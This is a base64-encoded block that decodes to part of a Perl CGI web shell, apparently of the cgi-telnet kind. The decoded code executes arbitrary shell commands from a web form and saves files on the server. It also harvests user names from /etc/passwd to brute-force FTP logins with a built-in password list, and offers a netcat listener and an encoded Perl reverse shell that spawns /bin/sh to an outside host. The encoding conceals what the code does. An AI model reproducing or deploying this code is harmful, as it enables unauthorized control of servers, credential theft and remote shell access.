YkdsaElqc0tDUWtrY21WemRXeDBJQzQ5SUNaU2RXNURiV1E3Q2dsOVpXeHphV1lvSkZKMWJrTnZiVzFoYm1RZ1BYNGdiUzllWEhNcVpXUnBkRnh6S3lndUt5a3ZLUW9KZXdvSkNTUnlaWE4xYkhRZ0xqMGdJQ1pUWVhabFJtbHNaVVp2Y20wN0NnbDlaV3h6WlFvSmV3b0pDU1J5WlhOMWJIUWdMajBnSmxCeWFXNTBRMjl0YldGdVpFeHBibVZKYm5CMWRFWnZjbTA3Q2drSkpISmxjM1ZzZENBdVBTQWlRMjl0YldGdVpEb2dQSEoxYmo0a1VuVnVRMjl0YldGdVpEd3ZjblZ1UGp4aWNqNDhkR1Y0ZEdGeVpXRWdhV1E5SjJSaGRHRW5JR052YkhNOUp5UmpiMnh6SnlCeWIzZHpQU2NrY205M2N5Y2djM0JsYkd4amFHVmphejBuWm1Gc2MyVW5QaUk3Q2drSkpISmxjM1ZzZENBdVBTWlNkVzVEYldRN0NnbDlDZ2trY21WemRXeDBJQzQ5SUNBaVBDOTBaWGgwWVhKbFlUNGlPd29KY21WMGRYSnVJQ1J5WlhOMWJIUTdDbjBLQ2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QnlkVzRnWTI5dGJXRnVaQW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2dwemRXSWdVblZ1UTIxa0Nuc0tDVzE1SUNSeVpYTjFiSFE5SWlJN0Nna2tRMjl0YldGdVpDQTlJQ0pqWkNCY0lpUkRkWEp5Wlc1MFJHbHlYQ0lpTGlSRGJXUlRaWEF1SkZKMWJrTnZiVzFoYm1RdUpGSmxaR2x5WldOMGIzSTdDZ2xwWmlnaEpGZHBiazVVS1FvSmV3b0pDU1JUU1VkN0owRk1VazBuZlNBOUlGd21RMjl0YldGdVpGUnBiV1Z2ZFhRN0Nna0pZV3hoY20wb0pFTnZiVzFoYm1SVWFXMWxiM1YwUkhWeVlYUnBiMjRwT3dvSmZRb0phV1lvSkZOb2IzZEVlVzVoYldsalQzVjBjSFYwS1NBaklITm9iM2NnYjNWMGNIVjBJR0Z6SUdsMElHbHpJR2RsYm1WeVlYUmxaQW9KZXdvSkNTUjhQVEU3Q2drSkpFTnZiVzFoYm1RZ0xqMGdJaUI4SWpzS0NRbHZjR1Z1S0VOdmJXMWhibVJQZFhSd2RYUXNJQ1JEYjIxdFlXNWtLVHNLQ1FsM2FHbHNaU2c4UTI5dGJXRnVaRTkxZEhCMWRENHBDZ2tKZXdvSkNRa2tYeUE5ZmlCekx5aGNibnhjY2x4dUtTUXZMenNLQ1FrSkpISmxjM1ZzZENBdVBTQW1TSFJ0YkZOd1pXTnBZV3hEYUdGeWN5Z2lKRjljYmlJcE93b0pDWDBLQ1Fra2ZEMHdPd29KZlFvSlpXeHpaU0FqSUhOb2IzY2diM1YwY0hWMElHRm1kR1Z5SUdOdmJXMWhibVFnWTI5dGNHeGxkR1Z6Q2dsN0Nna0pKSEpsYzNWc2RDQXVQU0FtU0hSdGJGTndaV05wWVd4RGFHRnljeWduSkVOdmJXMWhibVFuS1RzS0NYMEtDV2xtS0NFa1YybHVUbFFwQ2dsN0Nna0pZV3hoY20wb01DazdDZ2w5Q2dseVpYUjFjbTRnSkhKbGMzVnNkRHNLZlFvalBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5Q2lNZ1JtOXliU0JUWVhabElFWnBiR1VnQ2lNOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDBLYzNWaUlGTmhkbVZHYVd4bFJtOXliUXA3Q2dsdGVTQWtjbVZ6ZFd4MElEMGlJanNLQ1hOMVluTjBjaWdrVW5WdVEyOXRiV0Z1WkN3d0xEVXBQU0lpT3dvSmJYa2dKR1pwYkdVOUpuUnlhVzBvSkZKMWJrTnZiVzFoYm1RcE93b0pKSE5oZG1VOUp6eGljajQ4YVc1d2RYUWdibUZ0WlQwaVlTSWdkSGx3WlQwaWMzVmliV2wwSWlCMllXeDFaVDBpYzJGMlpTSWdZMnhoYzNNOUluTjFZbTFwZENJZ1BpYzdDZ2trUm1sc1pUMGtRM1Z5Y21WdWRFUnBjaTRrVUdGMGFGTmxjQzRrVW5WdVEyOXRiV0Z1WkRzS0NXMTVJQ1JrYVhJOUlqeHpjR0Z1SUhOMGVXeGxQU2RtYjI1ME9pQXhNWEIwSUZabGNtUmhibUU3SUdadmJuUXRkMlZwWjJoME9pQmliMnhrT3ljK0lpNG1RV1JrVEdsdWEwUnBjaWdpWjNWcElpa3VJand2YzNCaGJqNGlPd29KYVdZb0xYY2dKRVpwYkdVcENnbDdDZ2tKSkhKdmQzTTlJakl6SWdvSmZXVnNjMlVLQ1hzS0NRa2tiWE5uUFNJOFluSStQR1p2Ym5RZ2MzUjViR1U5SjJadmJuUTZJREUxY0hRZ1ZtVnlaR0Z1WVRzZ1kyOXNiM0k2SUhsbGJHeHZkenNuSUQ0Z1VHVnliV2x6YzJsdmJpQmtaVzVwWldRaFBHWnZiblErUEdKeVBpSTdDZ2tKSkhKdmQzTTlJakl3SWdvSmZRb0pKRkJ5YjIxd2RDQTlJQ1JYYVc1T1ZDQS9JQ0lrWkdseUlENGdJaUE2SUNJOFptOXVkQ0JqYjJ4dmNqMG5JMFpHUmtaR1JpYytXMkZrYldsdVhFQWtVMlZ5ZG1WeVRtRnRaU0FrWkdseVhWd2tQQzltYjI1MFBpQWlPd29KSkhKbFlXUTlLQ1JYYVc1T1ZDay9JblI1Y0dVaU9pSnNaWE56SWpzS0NTUlNkVzVEYjIxdFlXNWtJRDBnSWlSeVpXRmtJRndpSkZKMWJrTnZiVzFoYm1SY0lpSTdDZ2trY21WemRXeDBJQzQ5SUNBOFBFVk9SRHNLQ1R4bWIzSnRJRzVoYldVOUltWWlJRzFsZEdodlpEMGlVRTlUVkNJZ1lXTjBhVzl1UFNJa1UyTnlhWEIwVEc5allYUnBiMjRpUGdvS0NUeHBibkIxZENCMGVYQmxQU0pvYVdSa1pXNGlJRzVoYldVOUltUWlJSFpoYkhWbFBTSWtRM1Z5Y21WdWRFUnBjaUkrQ2dra1VISnZiWEIwQ2drOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2MybDZaVDBpTkRBaUlHNWhiV1U5SW1NaVBnb0pQR2x1Y0hWMElHNWhiV1U5SW5NaUlHTnNZWE56UFNKemRXSnRhWFFpSUhSNWNHVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrVnVkR1Z5SWo0S0NUeGljajVEYjIxdFlXNWtPaUE4Y25WdVBpQWtVblZ1UTI5dGJXRnVaQ0E4TDNKMWJqNEtDVHhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUc1aGJXVTlJbVpwYkdVaUlIWmhiSFZsUFNJa1ptbHNaU0lnUGlBa2MyRjJaU0E4WW5JK0lDUnRjMmNLQ1R4aWNqNDhkR1Y0ZEdGeVpXRWdhV1E5SW1SaGRHRWlJRzVoYldVOUltUmhkR0VpSUdOdmJITTlJaVJqYjJ4eklpQnliM2R6UFNJa2NtOTNjeUlnYzNCbGJHeGphR1ZqYXowaVptRnNjMlVpUGdwRlRrUUtDUW9KSkhKbGMzVnNkQ0F1UFNBbVVuVnVRMjFrT3dvSkpISmxjM1ZzZENBdVBTQWdJand2ZEdWNGRHRnlaV0UrSWpzS0NTUnlaWE4xYkhRZ0xqMGdJQ0k4TDJadmNtMCtJanNLQ1hKbGRIVnliaUFrY21WemRXeDBPd3A5Q2lNOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDBLSXlCVFlYWmxJRVpwYkdVS0l6MDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFFwemRXSWdVMkYyWlVacGJHVW9KQ2tLZXdvSmJYa2dKRVJoZEdFOUlITm9hV1owSURzS0NXMTVJQ1JHYVd4bFBTQnphR2xtZERzS0NTUkdhV3hsUFNSRGRYSnlaVzUwUkdseUxpUlFZWFJvVTJWd0xpUkdhV3hsT3dvSmFXWW9iM0JsYmloR1NVeEZMQ0FpUGlSR2FXeGxJaWtwQ2dsN0Nna0pZbWx1Ylc5a1pTQkdTVXhGT3dvSkNYQnlhVzUwSUVaSlRFVWdKRVJoZEdFN0Nna0pZMnh2YzJVZ1JrbE1SVHNLQ1FseVpYUjFjbTRnTVRzS0NYMWxiSE5sQ2dsN0Nna0pjbVYwZFhKdUlEQTdDZ2w5Q24wS0l5MHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFFvaklFSnlkWFJsSUVadmNtTmxjaUJHYjNKdENpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS2MzVmlJRUp5ZFhSbFJtOXlZMlZ5Um05eWJRcDdDZ2x0ZVNBa2NtVnpkV3gwUFNJaU93b0pKSEpsYzNWc2RDQXVQU0E4UEVWT1JEc0tDangwWVdKc1pUNEtDangwY2o0S1BIUmtJR052YkhOd1lXNDlJaklpSUdGc2FXZHVQU0pqWlc1MFpYSWlQZ29qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU04WW5JK0NsTnBiWEJzWlNCR1ZGQWdZbkoxZEdVZ1ptOXlZMlZ5UEdKeVBnb2pJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TWpJeU1qSXlNakl5TUtQR1p2Y20wZ2JtRnRaVDBpWmlJZ2JXVjBhRzlrUFNKUVQxTlVJaUJoWTNScGIyNDlJaVJUWTNKcGNIUk1iMk5oZEdsdmJpSStDZ284YVc1d2RYUWdkSGx3WlQwaWFHbGtaR1Z1SWlCdVlXMWxQU0poSWlCMllXeDFaVDBpWW5KMWRHVm1iM0pqWlhJaUx6NEtQQzkwWkQ0S1BDOTBjajRLUEhSeVBnbzhkR1ErVlhObGNqbzhZbkkrUEhSbGVIUmhjbVZoSUhKdmQzTTlJakU0SWlCamIyeHpQU0l6TUNJZ2JtRnRaVDBpZFhObGNpSStDa1ZPUkFwamFHOXdLQ1J5WlhOMWJIUWdMajBnWUd4bGMzTWdMMlYwWXk5d1lYTnpkMlFnZkNCamRYUWdMV1E2SUMxbU1XQXBPd29rY21WemRXeDBJQzQ5SUR3OEowVk9SQ2M3Q2p3dmRHVjRkR0Z5WldFK1BDOTBaRDRLUEhSa1Bnb0tVR0Z6Y3pvOFluSStDangwWlhoMFlYSmxZU0J5YjNkelBTSXhPQ0lnWTI5c2N6MGlNekFpSUc1aGJXVTlJbkJoYzNNaVBqRXlNM0JoYzNNS01USXpJVUFqQ2pFeU0yRmtiV2x1Q2pFeU0yRmlZd294TWpNME5UWmhaRzFwYmdveE1qTTBOVFUwTXpJeENqRXlNelEwTXpJeENuQmhjM014TWpNS1lXUnRhVzRLWVdSdGFXNWpjQXBoWkcxcGJtbHpkSEpoZEc5eUNtMWhkR3RvWVhVS2NHRnpjMkZrYldsdUNuQkFjM04zYjNKa0NuQkFjM04zTUhKa0NuQmhjM04zYjNKa0NqRXlNelExTmdveE1qTTBOVFkzQ2pFeU16UTFOamM0Q2pFeU16UTFOamM0T1FveE1qTTBOVFkzT0Rrd0NqRXhNVEV4TVFvd01EQXdNREFLTWpJeU1qSXlDak16TXpNek13bzBORFEwTkRRS05UVTFOVFUxQ2pZMk5qWTJOZ28zTnpjM056Y0tPRGc0T0RnNENqazVPVGs1T1FveE1qTXhNak1LTWpNME1qTTBDak0wTlRNME5RbzBOVFkwTlRZS05UWTNOVFkzQ2pZM09EWTNPQW8zT0RrM09Ea0tNVEl6TXpJeENqUTFOalkxTkFvMk5UUXpNakVLTnpZMU5ETXlNUW80TnpZMU5ETXlNUW81T0RjMk5UUXpNakVLTURrNE56WTFORE15TVFwaFpHMXBiakV5TXdwaFpHMXBiakV5TXpRMU5ncGhZbU5rWldZS1lXSmpZV0pqQ2lGQUl5RkFJd29oUUNNa0pWNEtJVUFqSkNWZUppb29DaUZBSXlRa0kwQWhDbUZpWXpFeU13cGhibWg1WlhWbGJRcHBiRzkyWlhsdmRUd3ZkR1Y0ZEdGeVpXRStDand2ZEdRK0Nqd3ZkSEkrQ2p4MGNqNEtQSFJrSUdOdmJITndZVzQ5SWpJaUlHRnNhV2R1UFNKalpXNTBaWElpUGdwVGJHVmxjRG84YzJWc1pXTjBJRzVoYldVOUluTnNaV1Z3SWo0S0NqeHZjSFJwYjI0K01Ed3ZiM0IwYVc5dVBnbzhiM0IwYVc5dVBqRThMMjl3ZEdsdmJqNEtQRzl3ZEdsdmJqNHlQQzl2Y0hScGIyNCtDZ284YjNCMGFXOXVQak04TDI5d2RHbHZiajRLUEM5elpXeGxZM1ErSUFvOGFXNXdkWFFnZEhsd1pUMGljM1ZpYldsMElpQmpiR0Z6Y3owaWMzVmliV2wwSWlCMllXeDFaVDBpUW5KMWRHVWdSbTl5WTJWeUlpOCtQQzkwWkQ0OEwzUnlQZ284TDJadmNtMCtDand2ZEdGaWJHVStDa1ZPUkFweVpYUjFjbTRnSkhKbGMzVnNkRHNLZlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1FuSjFkR1VnUm05eVkyVnlDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUVKeWRYUmxSbTl5WTJWeUNuc0tDVzE1SUNSeVpYTjFiSFE5SWlJN0Nna2tVMlZ5ZG1WeVBTUkZUbFo3SjFORlVsWkZVbDlCUkVSU0ozMDdDZ2xwWmlna2FXNTdKM1Z6WlhJbmZTQmxjU0FpSWlrS0NYc0tDUWtrY21WemRXeDBJQzQ5SUNaQ2NuVjBaVVp2Y21ObGNrWnZjbTA3Q2dsOVpXeHpaUW9KZXdvSkNYVnpaU0JPWlhRNk9rWlVVRHNnQ2drSlFIVnpaWEk5SUhOd2JHbDBLQzljYmk4c0lDUnBibnNuZFhObGNpZDlLVHNLQ1FsQWNHRnpjejBnYzNCc2FYUW9MMXh1THl3Z0pHbHVleWR3WVhOekozMHBPd29KQ1dOb2IyMXdLRUIxYzJWeUtUc0tDUWxqYUc5dGNDaEFjR0Z6Y3lrN0Nna0pKSEpsYzNWc2RDQXVQU0FpUEdKeVBqeGljajViSzEwZ1ZISjVhVzVuSUdKeWRYUmxJQ1JUWlhKMlpYSk9ZVzFsUEdKeVBqMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQajQrUGo0K1BqNCtQajQrUER3OFBEdzhQRHc4UEQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBHSnlQanhpY2o1Y2JpSTdDZ2tKWm05eVpXRmphQ0FrZFhObGNtNWhiV1VnS0VCMWMyVnlLUW9KQ1hzS0NRa0phV1lvSVNna2RYTmxjbTVoYldVZ1pYRWdJaUlwS1FvSkNRbDdDZ2tKQ1FsbWIzSmxZV05vSUNSd1lYTnpkMjl5WkNBb1FIQmhjM01wQ2drSkNRbDdDZ2tKQ1FrSkpHWjBjQ0E5SUU1bGREbzZSbFJRTFQ1dVpYY29KRk5sY25abGNpa2diM0lnWkdsbElDSkRiM1ZzWkNCdWIzUWdZMjl1Ym1WamRDQjBieUFrVTJWeWRtVnlUbUZ0WlZ4dUlqc2dDZ2tKQ1FrSmFXWW9KR1owY0MwK2JHOW5hVzRvSWlSMWMyVnlibUZ0WlNJc0lpUndZWE56ZDI5eVpDSXBLUW9KQ1FrSkNYc0tDUWtKQ1FrSkpISmxjM1ZzZENBdVBTQWlQR0VnZEdGeVoyVjBQU2RmWW14aGJtc25JR2h5WldZOUoyWjBjRG92THlSMWMyVnlibUZ0WlRva2NHRnpjM2R2Y21SY1FDUlRaWEoyWlhJblBsc3JYU0JtZEhBNkx5OGtkWE5sY201aGJXVTZKSEJoYzNOM2IzSmtYRUFrVTJWeWRtVnlQQzloUGp4aWNqNWNiaUk3Q2drSkNRa0pDU1JtZEhBdFBuRjFhWFFvS1RzS0NRa0pDUWtKWW5KbFlXczdDZ2tKQ1FrSmZRb0pDUWtKQ1dsbUtDRW9KR2x1ZXlkemJHVmxjQ2Q5SUdWeElDSXdJaWtwQ2drSkNRa0pld29KQ1FrSkNRbHpiR1ZsY0NocGJuUW9KR2x1ZXlkemJHVmxjQ2Q5S1NrN0Nna0pDUWtKZlFvSkNRa0pDU1JtZEhBdFBuRjFhWFFvS1RzS0NRa0pDWDBLQ1FrSmZRb0pDWDBLQ1Fra2NtVnpkV3gwSUM0OUlDSmNianhpY2o0OVBUMDlQVDA5UFQwOVBqNCtQajQrUGo0K1BpQkdhVzVwYzJobFpDQThQRHc4UER3OFBEdzhQVDA5UFQwOVBUMDlQVHhpY2o1Y2JpSTdDZ2w5Q2dseVpYUjFjbTRnSkhKbGMzVnNkRHNLZlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ1FtRmphMk52Ym01bFkzUWdSbTl5YlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQkNZV05yUW1sdVpFWnZjbTBLZXdvSmNtVjBkWEp1SUR3OFJVNUVPd29KUEdKeVBqeGljajRLQ2drOGRHRmliR1UrQ2drOGRISStDZ2s4Wm05eWJTQnVZVzFsUFNKbUlpQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSkZOamNtbHdkRXh2WTJGMGFXOXVJajRLQ1R4MFpENUNZV05yUTI5dWJtVmpkRG9nUEdsdWNIVjBJSFI1Y0dVOUltaHBaR1JsYmlJZ2JtRnRaVDBpWVNJZ2RtRnNkV1U5SW1KaFkydGlhVzVrSWo0OEwzUmtQZ29KUEhSa1BpQkliM04wT2lBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2MybDZaVDBpTWpBaUlHNWhiV1U5SW1Oc2FXVnVkR0ZrWkhJaUlIWmhiSFZsUFNJa1JVNVdleWRTUlUxUFZFVmZRVVJFVWlkOUlqNEtDU0JRYjNKME9pQThhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU55SWdibUZ0WlQwaVkyeHBaVzUwY0c5eWRDSWdkbUZzZFdVOUlqZ3dJaUJ2Ym10bGVYVndQU0prYjJOMWJXVnVkQzVuWlhSRmJHVnRaVzUwUW5sSlpDZ25ZbUVuS1M1cGJtNWxja2hVVFV3OWRHaHBjeTUyWVd4MVpUc2lQand2ZEdRK0Nnb0pQSFJrUGp4cGJuQjFkQ0J1WVcxbFBTSnpJaUJqYkdGemN6MGljM1ZpYldsMElpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrTnZibTVsWTNRaVBqd3ZkR1ErQ2drOEwyWnZjbTArQ2drOEwzUnlQZ29KUEhSeVBnb0pQSFJrSUdOdmJITndZVzQ5TXo0OFptOXVkQ0JqYjJ4dmNqMGpSa1pHUmtaR1Bsc3JYU0JEYkdsbGJuUWdiR2x6ZEdWdUlHSmxabTl5WlNCamIyNXVaV04wSUdKaFkyc2hDZ2s4WW5JK1d5dGRJRlJ5ZVNCamFHVmpheUI1YjNWeUlGQnZjblFnZDJsMGFDQThZU0IwWVhKblpYUTlJbDlpYkdGdWF5SWdhSEpsWmowaWFIUjBjRG92TDNkM2R5NWpZVzU1YjNWelpXVnRaUzV2Y21jdklqNW9kSFJ3T2k4dmQzZDNMbU5oYm5sdmRYTmxaVzFsTG05eVp5ODhMMkUrQ2drOFluSStXeXRkSUVOc2FXVnVkQ0JzYVhOMFpXNGdkMmwwYUNCamIyMXRZVzVrT2lBOGNuVnVQbTVqSUMxMmRpQXRiQ0F0Y0NBOGMzQmhiaUJwWkQwaVltRWlQamd3UEM5emNHRnVQand2Y25WdVBqd3ZabTl1ZEQ0OEwzUmtQZ29LQ1R3dmRISStDZ2s4TDNSaFlteGxQZ29LQ1R4aWNqNDhZbkkrQ2drOGRHRmliR1UrQ2drOGRISStDZ2s4Wm05eWJTQnRaWFJvYjJROUlsQlBVMVFpSUdGamRHbHZiajBpSkZOamNtbHdkRXh2WTJGMGFXOXVJajRLQ1R4MFpENUNhVzVrSUZCdmNuUTZJRHhwYm5CMWRDQjBlWEJsUFNKb2FXUmtaVzRpSUc1aGJXVTlJbUVpSUhaaGJIVmxQU0ppWVdOclltbHVaQ0krUEM5MFpENEtDZ2s4ZEdRK0lGQnZjblE2SUR4cGJuQjFkQ0IwZVhCbFBTSjBaWGgwSWlCemFYcGxQU0l4TlNJZ2JtRnRaVDBpWTJ4cFpXNTBjRzl5ZENJZ2RtRnNkV1U5SWpFME1USWlJRzl1YTJWNWRYQTlJbVJ2WTNWdFpXNTBMbWRsZEVWc1pXMWxiblJDZVVsa0tDZGlhU2NwTG1sdWJtVnlTRlJOVEQxMGFHbHpMblpoYkhWbE95SStDZ29KSUZCaGMzTjNiM0prT2lBOGFXNXdkWFFnZEhsd1pUMGlkR1Y0ZENJZ2MybDZaVDBpTVRVaUlHNWhiV1U5SW1KcGJtUndZWE56SWlCMllXeDFaVDBpVkVoSlJWVkhTVUZDVlU5T0lqNDhMM1JrUGdvSlBIUmtQanhwYm5CMWRDQnVZVzFsUFNKeklpQmpiR0Z6Y3owaWMzVmliV2wwSWlCMGVYQmxQU0p6ZFdKdGFYUWlJRzVoYldVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtKcGJtUWlQand2ZEdRK0NnazhMMlp2Y20wK0NnazhMM1J5UGdvSlBIUnlQZ29KUEhSa0lHTnZiSE53WVc0OU16NDhabTl1ZENCamIyeHZjajBqUmtaR1JrWkdQbHNyWFNCRGFIVmpJRzVoYm1jZ1kyaDFZU0JrWXlCMFpYTjBJUW9KUEdKeVBsc3JYU0JVY25rZ1kyOXRiV0Z1WkRvZ1BISjFiajV1WXlBa1JVNVdleWRUUlZKV1JWSmZRVVJFVWlkOUlEeHpjR0Z1SUdsa1BTSmlhU0krTVRReE1qd3ZjM0JoYmo0OEwzSjFiajQ4TDJadmJuUStQQzkwWkQ0S0NnazhMM1J5UGdvSlBDOTBZV0pzWlQ0OFluSStDa1ZPUkFwOUNpTXRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwS0l5QkNZV05yWTI5dWJtVmpkQ0IxYzJVZ2NHVnliQW9qTFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRDbk4xWWlCQ1lXTnJRbWx1WkFwN0NnbDFjMlVnVFVsTlJUbzZRbUZ6WlRZME93b0pkWE5sSUZOdlkydGxkRHNKQ2dra1ltRmphM0JsY213OUlrbDVSWFprV0U1NVRESktjR0pwT1hkYVdFcHpSRkZ3TVdNeVZXZFRWVGcyVDJ4T2Rsa3lkR3hrUkhOT1EybFNWR0ZIVm5OaVFXczVTVU5KZGxsdGJIVk1Na3BvWXpKbmFVOTNNRXRLUlVaVFVqQk5PVkZGUmxOU01WazNSRkZ3TVdNeVZXZFZNamxxWVRKV01FOTNNRXRrV0U1c1NVVmFjR0pIVmtsWlZ6VnJZa2RWTjBSUmNIcGlNazV5V2xoUmIxVXdPVVJUTUZaVlRFTkNVVkpzT1VwVWExWlZURU5DVkZRd1RreFlNVTVWVld0V1FsUlRkMmRhTWxZd1kwaEtkbVJIT1dsbFZ6Vm9ZbGRWYjBsdVVtcGpRMGx3UzFOQ2RtTnBRbXRoVjFWblkwaEtjR0p1VVdkSmJITjBXRk5DVm1KdFJtbGlSMVZuWkVjNFoxVnRWbnBpTW5neVdsTkNTV0l6VGpCWVJ6UnBUM2N3UzFreU9YVmliVlpxWkVOb1ZGUXdUa3hTVmxGelNVaE9kbGt5ZEdoYVIxSjVXREpzZFV0RFVrSlZhMlJYVjNwR1pFeERRbkJpYlZZd1dESkdNR0l5Tkc5S1JVWlRVakZhWWsxR01IQkxVMnRuWWpOSloxcEhiR3hKU0VKNVlWYzFNRWxEU21KTVZqQm5WbGMxYUZsdGVHeEpTRkoyU1VWT2RtSnROV3haTTFGblUwYzVlbVJHZUhWSmFuTk9RMjVDZVdGWE5UQkpRMHBFWWpJMWRWcFhUakJhVjFGb1NXcHpUa05zVGxCUk1IUkdWa013SzFsWVZqQmlNbHB6WkZoT2IwdERhemRFVVhCMlkwZFdkVXRHVGxWU1JXeFBURU5CYVZCcFdsUlVNRTVNVWxaUmFVdFVjMDVEYlRsM1dsYzBiMVV4VWtWVU1WWlZURU5KSzBwc1RsQlJNSFJHVmtOSmNFOTNNRXRpTTBKc1ltbG9WRlpGVWtaVmJFbHpTV28wYlZVd09VUlRNRlpWU1dsck4wUlJjSGRqYld4MVpFTkJhVXhUTURsUVUwSkVZakkxZFZwWFRqQmFWMUZuVVcxR2FtRXlVblppTTBsblVGUXdkRXhUUVdkWVJ6VmpZbWxKTjBSUmNIcGxXRTR3V2xjd2IwbHVWblZqTWxZd1NVVm9TbFV4VWtkVFZYaEdUM2xDTVdKdVRteGtRMEpVVVZaYVJsTkZiRlJXUTBFM1dsZE9iMko1UVc1WGVYUmtTVVpPTldNelVteGlWMngxV20wNE5rbERZemRKU0ZaMVdWY3hiRWxETVdoUE1sWnFZVWM0TjFwWFRtOWllVUZ1VjNsMFpFbEdWbnBhV0Vwd1ltMWFkazlwUVc1UGVVSndXa1IwYkZreWFIWlBNbFpxWVVjNFowb3hjM0pZVTBKRllWaEtiRmt6VW5aamJtczJTVU5qTjBsSVFqTmFSSFJzV1RKb2RrOTVRbXhaTW1oMlNVTmtZa3N4TUdkVk1taHNZa2QzTmtsRFl6ZEtSazV2V2xkNGMwbHBhemRFVVhCcVlrYzVlbHBUUWxSVU1FNU1VbFpSTnlJN0Nna2tZbWx1WkhCbGNtdzlJa2w1Ulhaa1dFNTVUREpLY0dKcE9YZGFXRXB6UkZGd01XTXlWV2RWTWpscVlUSldNRTkzTUV0S1JVWlRVakJOT1ZGRlJsTlNNVmszUkZGdmEyTkhPWGxrUVdzNVNVTlNRbFZyWkZkWGVrSmtUM2N3UzBwSVFubGlNMUoyUTFRd1oxb3lWakJqU0VwMlpFYzVhV1ZYTldoaVYxVnZTak5TYW1ORFkzQlBkekJMU2taT2IxcFhlSE5EVkRCblNXazVhV0ZYTkhaWmJVWjZZVU5KTjBSUmNIcGlNazV5V2xoUmIxVXdWbE5XYTFaVFRFTkNVVkpzT1VwVWExWlZURU5DVkZRd1RreFlNVTVWVld0V1FsUlRkMmRLU0VKNVlqTlNka3RYT1hsSlIxSndXbE5CYVdNeU9XcGhNbFl3VDJsUmFFbHFjMDVEYms1c1pFaE9kbGt5ZEhaalNGRnZWVEJXVTFaclZsTk1RMEpVVkRCNFpsVXdPVVJUTUZaVlRFTkNWRlF4T1ZOU1ZsWlVVbFZHUlZKR1NYTkpTRUpvV1RKemIwbHRkMmxNUTBGNFMxTnNkbU5wUW10aFYxVm5TVzVPYkdSSVRuWlpNblIyWTBoUk5rbERVV2hKYW5OT1EyMUtjR0p0VVc5Vk1GWlRWbXRXVTB4RFFucGlNazV5V1ZkU2EyTnNPWEJpYVdkclkwYzVlV1JEZDJkVFZUVkNVa1ZTVTFnd1JrOVhVMnR3WWpOSloxcEhiR3hKUTBwcFlWYzFhMDlwUVd0